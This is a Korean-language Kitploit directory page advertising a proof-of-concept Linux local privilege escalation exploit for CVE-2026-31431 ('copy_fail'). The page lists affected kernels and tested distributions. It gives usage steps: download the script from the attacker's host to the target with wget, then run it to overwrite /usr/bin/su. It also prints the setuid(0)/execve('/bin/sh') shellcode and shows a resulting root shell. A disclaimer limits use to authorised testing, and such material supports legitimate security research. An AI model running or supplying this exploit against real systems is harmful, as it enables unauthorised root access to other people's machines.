Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
copy-fail-CVE-2026-31431-shell — # CVE-2026-31431(copy_fail)용 PoC 셸 익스플로잇 — AF_ALG + splice 페이지 캐시 덮어쓰기를 통한 Linux LPE. 단일 실행, 레이스 컨디션 없음, 커널 4.9–6.18. | Kitploit
도구/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

# CVE-2026-31431(copy_fail)용 PoC 셸 익스플로잇 — AF_ALG + splice 페이지 캐시 덮어쓰기를 통한 Linux LPE. 단일 실행, 레이스 컨디션 없음, 커널 4.9–6.18.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
374개월 전아직 검토되지 않음

CVE-2026-31431 - copy_fail 셸

AF_ALG 소켓 + splice() 페이지 캐시 덮어쓰기를 통한 로컬 권한 상승.

읽기 전용 SUID 바이너리(/usr/bin/su)를 setuid(0) + execve("/bin/sh")를 호출하는 최소 ELF로 덮어씁니다. 레이스 컨디션 없음, 배포판별 오프셋 없음, 단일 실행.

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

취약점

Linux 커널의 AF_ALG(암호화 API) 소켓은 splice()와 결합하여 페이지 캐시를 조작함으로써 O_RDONLY로 열린 파일에 쓰기를 가능하게 합니다. 커널은 ALG 소켓의 splice 경로 내부에 있는 copy-on-write 단축 경로에서 쓰기 권한 검사를 건너뜁니다. 이는 Dirty Pipe(CVE-2022-0847)와 동일한 계열의 버그이지만 커널 4.9에서 도입된 다른 코드 경로를 통해 트리거됩니다.


영향을 받는 버전

커널 범위상태
< 4.9영향 없음 (취약한 코드 경로 없음)
4.9 – 6.18취약 (~9년, 2017–2026)
≥ 6.19패치됨

테스트 완료

배포판커널
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

요구 사항

  • 대상 시스템에서의 로컬 셸 (모든 권한 수준)
  • 대상 시스템에 gcc 사용 가능
  • /tmp에 대한 쓰기 권한
  • x86-64 아키텍처

사용법

root@kitploit:~
# 대상 시스템에서
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

스크립트는 다음을 수행합니다:

  1. 실행 중인 커널이 취약한 범위에 있는지 확인
  2. 대상 시스템에서 내장된 C 익스플로잇 컴파일 (zlib 의존성 없음)
  3. /usr/bin/su를 루트 셸 페이로드로 덮어쓰기
  4. 실행

작동 원리

root@kitploit:~
AF_ALG socket (AEAD)
      │
      │  sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (operation socket)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

ALG 소켓 내부의 커널 splice 경로는 copy-on-write 권한 검사를 건너뛰어, 대상 파일이 읽기 전용으로 열려 있음에도 불구하고 페이지 캐시에 직접 씁니다. 페이로드(160바이트 ELF)는 40회 반복에 걸쳐 4바이트씩 기록됩니다.

페이로드 셸코드:

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

파일

파일설명
copy_fail_exp.shBash 스크립트 — 대상에서 컴파일 및 실행, Python 불필요
copy_fail_exp.py참조용 원본 Python 버전
copy_fail_exp_deobfuscated.py난독화 해제 및 주석 처리된 Python 버전

면책 조항

승인된 보안 테스트 및 CTF/랩 환경 전용입니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.

도구 다운로드